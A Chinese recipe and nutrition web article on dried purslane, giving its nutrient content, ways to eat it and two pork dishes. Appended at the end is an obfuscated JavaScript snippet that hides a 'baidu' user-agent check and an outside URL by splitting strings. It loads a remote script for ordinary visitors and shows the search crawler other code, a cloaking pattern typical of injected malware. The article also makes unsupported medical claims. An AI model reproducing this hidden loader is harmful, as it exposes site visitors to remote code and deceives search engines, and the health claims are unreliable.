当前位置:首页 > 饮食 > 食物营养 > 正文

马齿苋干的做法和营养价值

2017-07-07 11:44:54  来源:360常识网   热度:
导语:马齿苋是一种药用食用都非常不错的东西,对于男女性养生、儿童健康成长都是非常有帮助的,可以帮助消化,解决心脑血管疾病,消炎止咳等等功

马齿苋是一种药用食用都非常不错的东西,对于男女性养生、儿童健康成长都是非常有帮助的,可以帮助消化,解决心脑血管疾病,消炎止咳等等功效更是受人们的喜爱,马齿苋还有丰富的蛋白质,维生素,脂肪等等,作为食物马齿苋干更是人们不错的选择,那么马齿苋干怎么做呢?

一、营养价值

1、马齿苋含有蛋白质、脂肪、碳水化合物、膳食纤维、钙、磷、铁、铜、胡萝卜素、维生素B1、维生素B2、尼克酸、维生素C等多种营养成分,尤其是维生素A、维生素C、核黄素等维生素和钙、铁等矿物质。其ω-3脂肪酸含量在绿叶菜中占首位。

2、每100g马齿苋鲜嫩苋茎叶含蛋白质2.3g,脂肪0.5g,糖类3g,粗纤维0.7g,钙85mg,磷56mg,铁巨1.5mg,胡萝卜素2.23mg,维生素B1 0.03mg,维生素B2 0.11mg,维生素PP 0.7mg,维生素C 23mg。此外,还含有大量去甲肾上腺素、钾盐及丰富的柠檬酸、苹果酸、氨基酸以及生物碱等成分。

二、食用方法

1、马齿苋生食、烹食均可,柔软的茎可像菠菜一样烹制。不过如果对它强烈的味道不太习惯的话,就不要用太多。马齿苋茎顶部的叶子很柔软,可以像豆瓣菜一样烹食,可用来做汤或用于做沙司、蛋黄酱和炖菜。马齿苋和碎萝卜或马铃薯泥一起做,味道很好,也可以和洋葱或番茄一起烹饪,其茎和叶可用醋腌泡食用。

2、另外,凉拌马齿苋具有很高的营养价值和药用价值,有“天然抗生素”之称;马齿苋粥对人体有很好的滋养作用,可以很好地改善皮肤的颜色,使肌肤散发健康的光泽。

三、马齿苋菜干的做法

在夏秋期间采集马齿苋,除去老茎和须根,洗净后用沸水烫煮或笼蒸,然后晒干备用。干马齿苋的营养价值比鲜的要损失不少,但味道有类似梅干菜的风味,吃起来味道特好。这里介绍2种用马齿苋菜干制作菜肴的方法。

1、马齿苋干闷炒肉丝:

取干马齿苋浸泡一个晚上,第二天将浸泡好的马齿苋洗净切成2厘米长的段,将鲜肉切成小块或肉片,然后,在锅中放入少许清油,将鲜肉放入锅中翻炒,加入盐、鸡精、酱油等调料,炒匀,然后放入马齿苋干翻炒,出锅。放入高压锅中蒸10分钟左右即可。

2、马齿苋干扣肉:

制做扣肉时将发好的干马齿苋替代梅干菜,其余做法如一般扣肉相同。

掌握马齿苋干的做法,了解这些饮食常识、我们能把健康的食物与健康的生活联系在一起,马齿苋的功效及禁忌一定要细细的了解。食用马齿苋更是对人体有很好的滋养作用,这是一种不错的常见的野菜,希望是你不错的选择!

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}